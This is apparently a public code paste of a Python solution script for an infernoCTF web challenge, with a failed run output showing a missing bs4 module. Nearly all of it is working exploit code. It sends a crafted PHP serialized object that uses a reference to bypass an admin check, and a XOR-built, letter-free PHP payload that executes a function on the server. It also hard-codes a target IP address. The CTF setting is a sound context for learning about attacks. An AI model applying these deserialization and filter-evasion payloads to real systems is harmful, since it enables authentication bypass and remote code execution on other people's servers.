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  1. #!/usr/bin/python3
  2.  
  3. from requests import get
  4. from bs4 import BeautifulSoup as BS
  5. from re import search
  6.  
  7. host = "http://104.197.168.32:17010/"
  8. flag = "infernoCTF{.*?}"
  9.  
  10. def make_letters(result):
  11.     chars = [ord(c) for c in "!@$%^&*()_-+={}[]:/?|.>,<"]
  12.     result = [ord(c) for c in result]
  13.     c1s = []
  14.     c2s = []
  15.  
  16.     for r in result:
  17.         found = False
  18.  
  19.         for c1 in chars:
  20.             for c2 in chars:
  21.                 if c1 ^ c2 == r:
  22.                     c1s.append(chr(c1))
  23.                     c2s.append(chr(c2))
  24.                     found = True
  25.                     break
  26.  
  27.             if found:
  28.                 break
  29.  
  30.     return "\"{}\"^\"{}\"".format(''.join(c1s), ''.join(c2s))
  31.  
  32. def main():
  33.     global flag
  34.  
  35.     caption = "$_=" + make_letters("echoFlag") + ";$_();"
  36.     data = {
  37.         "id": 'O:4:"user":3:{s:4:"name";s:5:"admin";s:4:"pass";N;s:6:"secret";R:3;}',
  38.         "caption": caption
  39.     }
  40.  
  41.     response = get(host, params=data)
  42.     soup = BS(response.content, "lxml")
  43.     flag = search(flag, soup.text).group()
  44.     print(flag)
  45.  
  46. if __name__ == "__main__":
  47.     main()
Runtime error #stdin #stdout #stderr 0.4s 34372KB
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Standard input is empty
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Standard output is empty
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Traceback (most recent call last):
  File "./prog.py", line 4, in <module>
ModuleNotFoundError: No module named 'bs4'
https://ideone.com/xxJmE0
language:
Python 3 (python  3.9.5)
created:
4 years ago
visibility:
public

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